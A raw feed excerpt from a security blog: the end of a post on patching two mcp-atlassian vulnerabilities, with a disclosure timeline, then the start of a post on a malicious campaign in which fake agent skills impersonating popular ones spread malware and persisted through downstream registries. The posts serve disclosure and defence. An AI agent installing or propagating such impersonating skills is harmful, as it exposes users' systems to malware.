https://substackcdn.com/image/fetch/$s_!VCRH!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d89902a-f9e6-4896-b9bc-68ffbe585ef9_800x463.gif 848w, https://substackcdn.com/image/fetch/$s_!VCRH!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d89902a-f9e6-4896-b9bc-68ffbe585ef9_800x463.gif 1272w, https://substackcdn.com/image/fetch/$s_!VCRH!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d89902a-f9e6-4896-b9bc-68ffbe585ef9_800x463.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!VCRH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d89902a-f9e6-4896-b9bc-68ffbe585ef9_800x463.gif" width="800" height="463" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9d89902a-f9e6-4896-b9bc-68ffbe585ef9_800x463.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:463,&quot;width&quot;:800,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:3619031,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/gif&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/189124612?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d89902a-f9e6-4896-b9bc-68ffbe585ef9_800x463.gif&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!VCRH!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d89902a-f9e6-4896-b9bc-68ffbe585ef9_800x463.gif 424w, https://substackcdn.com/image/fetch/$s_!VCRH!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d89902a-f9e6-4896-b9bc-68ffbe585ef9_800x463.gif 848w, https://substackcdn.com/image/fetch/$s_!VCRH!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d89902a-f9e6-4896-b9bc-68ffbe585ef9_800x463.gif 1272w, https://substackcdn.com/image/fetch/$s_!VCRH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9d89902a-f9e6-4896-b9bc-68ffbe585ef9_800x463.gif 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h2>What To Do Now?</h2><h4>Immediate Action</h4><p>If you&#8217;re running <code>mcp-atlassian</code>, upgrade ASAP to:</p><pre><code>mcp-atlassian &gt;= 0.17.0</code></pre><p>We have created an <strong><a href="https://github.com/plutosecurity/MCPwnfluence">open source utility</a></strong> to help with remediation.</p><h4>Update commands by installation type</h4><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;markdown&quot;,&quot;nodeId&quot;:&quot;28264509-9fa3-4340-b1a1-8406cf6ad8af&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-markdown">| Installation Type |                         Update Command                         |
|-------------------|----------------------------------------------------------------|
| uvx               | `uvx upgrade mcp-atlassian`                                    |
| Docker            | `docker pull ghcr.io/sooperset/mcp-atlassian:latest` + restart |
| pip               | `pip install --upgrade mcp-atlassian`                          |
| uv/source         | Sync repo &amp; rebuild/run updated version                        |</code></pre></div><p><strong>Note</strong>: If you are using the docker version of mcp-atlassian from <a href="https://hub.docker.com/r/mcp/atlassian">DockerHub</a> or <a href="https://hub.docker.com/mcp/server/atlassian/overview">MCP Hub</a>, pulling the latest version won&#8217;t help as it was last updated 4 months ago and it remains vulnerable:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!FVSo!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcaa6e2d7-f2b2-4aba-a8a3-1985b95a82c3_3004x768.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!FVSo!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcaa6e2d7-f2b2-4aba-a8a3-1985b95a82c3_3004x768.png 424w, https://substackcdn.com/image/fetch/$s_!FVSo!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcaa6e2d7-f2b2-4aba-a8a3-1985b95a82c3_3004x768.png 848w, https://substackcdn.com/image/fetch/$s_!FVSo!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcaa6e2d7-f2b2-4aba-a8a3-1985b95a82c3_3004x768.png 1272w, https://substackcdn.com/image/fetch/$s_!FVSo!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcaa6e2d7-f2b2-4aba-a8a3-1985b95a82c3_3004x768.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!FVSo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcaa6e2d7-f2b2-4aba-a8a3-1985b95a82c3_3004x768.png" width="1456" height="372" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/caa6e2d7-f2b2-4aba-a8a3-1985b95a82c3_3004x768.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:372,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:301291,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/189124612?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcaa6e2d7-f2b2-4aba-a8a3-1985b95a82c3_3004x768.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!FVSo!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcaa6e2d7-f2b2-4aba-a8a3-1985b95a82c3_3004x768.png 424w, https://substackcdn.com/image/fetch/$s_!FVSo!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcaa6e2d7-f2b2-4aba-a8a3-1985b95a82c3_3004x768.png 848w, https://substackcdn.com/image/fetch/$s_!FVSo!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcaa6e2d7-f2b2-4aba-a8a3-1985b95a82c3_3004x768.png 1272w, https://substackcdn.com/image/fetch/$s_!FVSo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcaa6e2d7-f2b2-4aba-a8a3-1985b95a82c3_3004x768.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>UPDATE</strong>: Following our disclosure, the Docker Security team has updated the <em><strong>mcp-atlassian</strong></em> container image on Docker Hub and MCP Hub, and as of March 3rd, it contains the latest fixed version.</p><div><hr></div><h4>Recommended Security Best Practices (For All MCP Servers)</h4><p>Treat MCP servers like privileged internal services with production impact.</p><p>1. <strong>Restrict Network Exposure</strong></p><p><strong>2. Constrain Filesystem Writes</strong></p><p><strong>3. Constrain Outbound HTTP</strong></p><p><strong>4. Log and Monitor</strong></p><div><hr></div><h4>Disclosure Timeline &amp; Acknowledgments</h4><p><strong>February 10th</strong> - Opened an issue in the repository, alerting on potential security issues and requesting the maintainer to enable private vulnerability reporting (PVR)</p><p><strong>February 19th</strong> - PVR enabled, opened GHSA reports for both issues.</p><p><strong>February 23rd</strong> - Fix PRs #986 and #987 merged</p><p><strong>February 24th</strong> -  Fixed version 0.17 released, <strong>CVE-2026-27825</strong> and <strong>CVE-2026-27826</strong> issued.</p><p><strong>March 3rd</strong> - Following our disclosure, the Docker Security team has updated the <em><strong>mcp-atlassian</strong></em> container on Docker Hub and MCP Hub to the latest fixed version. </p><p>We would like to thank <strong><a href="https://github.com/sooperset">Hyeonsoo Lee</a></strong> for the swift response and timely remediation. Being the sole lead maintainer of a widely used project is no small responsibility, and we appreciate the professionalism and collaboration throughout the disclosure process.</p><div><hr></div><h3>Conclusion</h3><p>We&#8217;re seeing three trends converge:</p><ol><li><p><strong>Rapid adoption.</strong><br>MCP servers are being deployed quickly - often starting as &#8220;local dev helpers&#8221; and then gradually moving into shared environments.</p></li><li><p><strong>Expanded exposure.</strong><br>What starts as <code>localhost</code> sometimes becomes a container, then a dev VM, then a shared service reachable across a network.</p></li><li><p><strong>Implicit trust.</strong><br>Because these servers are built for productivity, they often assume cooperative inputs and friendly environments.</p></li></ol><p>That combination creates a gap: Adoption speed is outpacing secure-by-default design.</p><p>MCP servers are currently one of the major plugin layers for AI systems.</p><p>Security needs to scale with that reality.</p><p>This is the first set of findings we&#8217;re able to publish from <span class="mention-wrap" data-attrs="{&quot;name&quot;:&quot;Pluto Security&quot;,&quot;id&quot;:404416174,&quot;type&quot;:&quot;user&quot;,&quot;url&quot;:null,&quot;photo_url&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/195a4951-724f-4367-bef4-2660ebf89765_700x700.jpeg&quot;,&quot;uuid&quot;:&quot;796607b3-1aa0-4c03-979f-2885bb942a67&quot;}" data-component-name="MentionToDOM"></span>&#8217;s <strong>broader ongoing research into MCP server security</strong>. Additional vulnerabilities are currently under coordinated disclosure.</p><p>Follow the Pluto blog to stay informed as we release further findings.</p><div><hr></div><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://blog.pluto.security/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading! This post is public so feel free to share it.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.pluto.security/p/clawdbot-in-the-wild-exposure-risks?utm_source=substack&amp;utm_medium=email&amp;utm_content=share&amp;action=share&amp;token=eyJ1c2VyX2lkIjo0MDQ0MTYxNzQsInBvc3RfaWQiOjE4NTg0NTgzMCwiaWF0IjoxNzcyMDI3MTQ0LCJleHAiOjE3NzQ2MTkxNDQsImlzcyI6InB1Yi02NjI0NjY4Iiwic3ViIjoicG9zdC1yZWFjdGlvbiJ9.ST0iPpJT_qX1LI8xtvehPRr8pycSUSsAmjsnxV0YpNs&quot;,&quot;text&quot;:&quot;Share&quot;,&quot;action&quot;:null,&quot;class&quot;:&quot;button-wrapper&quot;}" data-component-name="ButtonCreateButton"><a class="button primary button-wrapper" href="https://blog.pluto.security/p/clawdbot-in-the-wild-exposure-risks?utm_source=substack&amp;utm_medium=email&amp;utm_content=share&amp;action=share&amp;token=eyJ1c2VyX2lkIjo0MDQ0MTYxNzQsInBvc3RfaWQiOjE4NTg0NTgzMCwiaWF0IjoxNzcyMDI3MTQ0LCJleHAiOjE3NzQ2MTkxNDQsImlzcyI6InB1Yi02NjI0NjY4Iiwic3ViIjoicG9zdC1yZWFjdGlvbiJ9.ST0iPpJT_qX1LI8xtvehPRr8pycSUSsAmjsnxV0YpNs"><span>Share</span></a></p><div><hr></div><blockquote><p>At <strong>Pluto</strong>, we&#8217;re enabling enterprises to use AI Builders securely.<br>Want to learn more? Let&#8217;s talk.</p></blockquote><div><hr></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://substack.com/@plutosecurity/note/p-189124612&quot;,&quot;text&quot;:&quot;Leave a comment&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://substack.com/@plutosecurity/note/p-189124612"><span>Leave a comment</span></a></p>]]></content:encoded></item><item><title><![CDATA[Clawing Out: The Skills Marketplace Just Inherited Its First Second-Degree Supply Chain Risk]]></title><description><![CDATA[Understanding second-order supply-chain risk in agent ecosystems: this is not just an OpenClaw issue - any system consuming agent skills may inherit the risk.]]></description><link>https://blog.pluto.security/p/clawing-out-the-skills-marketplace</link><guid isPermaLink="false">https://blog.pluto.security/p/clawing-out-the-skills-marketplace</guid><dc:creator><![CDATA[Pluto Security]]></dc:creator><pubDate>Wed, 04 Feb 2026 16:39:25 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!LqGO!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa98efef-c903-49bc-85c9-d40b740bd2a3_1920x1080.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!LqGO!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa98efef-c903-49bc-85c9-d40b740bd2a3_1920x1080.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!LqGO!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa98efef-c903-49bc-85c9-d40b740bd2a3_1920x1080.png 424w, https://substackcdn.com/image/fetch/$s_!LqGO!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa98efef-c903-49bc-85c9-d40b740bd2a3_1920x1080.png 848w, https://substackcdn.com/image/fetch/$s_!LqGO!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa98efef-c903-49bc-85c9-d40b740bd2a3_1920x1080.png 1272w, https://substackcdn.com/image/fetch/$s_!LqGO!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa98efef-c903-49bc-85c9-d40b740bd2a3_1920x1080.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!LqGO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa98efef-c903-49bc-85c9-d40b740bd2a3_1920x1080.png" width="1456" height="819" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fa98efef-c903-49bc-85c9-d40b740bd2a3_1920x1080.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:819,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:3346018,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/186593412?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa98efef-c903-49bc-85c9-d40b740bd2a3_1920x1080.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!LqGO!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa98efef-c903-49bc-85c9-d40b740bd2a3_1920x1080.png 424w, https://substackcdn.com/image/fetch/$s_!LqGO!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa98efef-c903-49bc-85c9-d40b740bd2a3_1920x1080.png 848w, https://substackcdn.com/image/fetch/$s_!LqGO!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa98efef-c903-49bc-85c9-d40b740bd2a3_1920x1080.png 1272w, https://substackcdn.com/image/fetch/$s_!LqGO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffa98efef-c903-49bc-85c9-d40b740bd2a3_1920x1080.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3><strong>TL;DR</strong></h3><p>We identified an active <strong>malicious supply-chain campaign targeting agent skills</strong>, where attackers impersonated popular skills to distribute malware. This activity was responsibly <a href="https://x.com/pyotam2/status/2019001989389320661">disclosed</a> and promptly taken down by the OpenClaw maintainer.</p><p>While examining the blast radius, <strong>we uncovered an additional systemic failure in how agent skill marketplaces interoperate</strong>. Skills removed from the primary marketplace continued to propagate through downstream registries and aggregators that automatically inherit and redistribute content from upstream sources. <strong>As a result, malicious skills remain discoverable and installable even after takedown.</strong></p><p>The implication is severe: <strong>any agent that consumes skills - regardless of where it sources them from - can be exposed to malicious behavior</strong>. Once a skill enters the ecosystem, it can spread beyond its original marketplace and be picked up by other registries, tooling, or automation flows, <strong>putting </strong><em><strong>all</strong></em><strong> agents at risk</strong>, not just those using a specific platform.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!csv_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55b89359-8963-4ac8-9771-cad24de016f8_956x978.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!csv_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55b89359-8963-4ac8-9771-cad24de016f8_956x978.png 424w, https://substackcdn.com/image/fetch/$s_!csv_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55b89359-8963-4ac8-9771-cad24de016f8_956x978.png 848w, https://substackcdn.com/image/fetch/$s_!csv_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55b89359-8963-4ac8-9771-cad24de016f8_956x978.png 1272w, https://substackcdn.com/image/fetch/$s_!csv_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55b89359-8963-4ac8-9771-cad24de016f8_956x978.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!csv_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55b89359-8963-4ac8-9771-cad24de016f8_956x978.png" width="486" height="497.18410041841" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/55b89359-8963-4ac8-9771-cad24de016f8_956x978.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:978,&quot;width&quot;:956,&quot;resizeWidth&quot;:486,&quot;bytes&quot;:407244,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/186593412?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda956cde-ed6f-452c-87b8-4c84816c532d_956x1148.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!csv_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55b89359-8963-4ac8-9771-cad24de016f8_956x978.png 424w, https://substackcdn.com/image/fetch/$s_!csv_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55b89359-8963-4ac8-9771-cad24de016f8_956x978.png 848w, https://substackcdn.com/image/fetch/$s_!csv_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55b89359-8963-4ac8-9771-cad24de016f8_956x978.png 1272w, https://substackcdn.com/image/fetch/$s_!csv_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F55b89359-8963-4ac8-9771-cad24de016f8_956x978.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3><strong>Overview</strong></h3><p>The software supply chain risk presented by agentic tooling and skill ecosystem is seriously underestimated. As agentic tooling spreads, &#8220;skills&#8221; are becoming the default way to extend capabilities: install a skill, and your agent can now deploy infrastructure, query databases, message teammates, read email, triage tickets, or run commands. It&#8217;s convenient. It&#8217;s composable. It&#8217;s also a trust transfer.</p><p>But the trust model and supporting ecosystem is still very immature.</p><p>Recent <a href="https://arxiv.org/pdf/2601.10338">research</a> backs up what many practitioners have felt intuitively: <strong>skills marketplaces already contain a meaningful amount of risky content at scale.</strong> One large empirical study of agent skills across two major marketplaces found <strong>26.1% of analyzed skills contained at least one vulnerability</strong>, spanning categories like prompt injection, data exfiltration, privilege escalation, and supply-chain risks.</p><p>That&#8217;s not a niche problem. That&#8217;s a systemic one. As the authors state:</p><div class="pullquote"><p><em>&#8220;These results underscore the urgent need for capability-based permission manifests, mandatory pre-publication security scanning, and runtime sandboxing to secure this emerging ecosystem.&#8221;</em></p></div><h2>A Live Example: When Agent Skills Become a Persistent Supply Chain Risk</h2><p>This morning, we identified <strong>yet another</strong> active supply-chain campaign targeting <a href="https://clawhub.ai/">ClawHub</a>, the OpenClaw skill 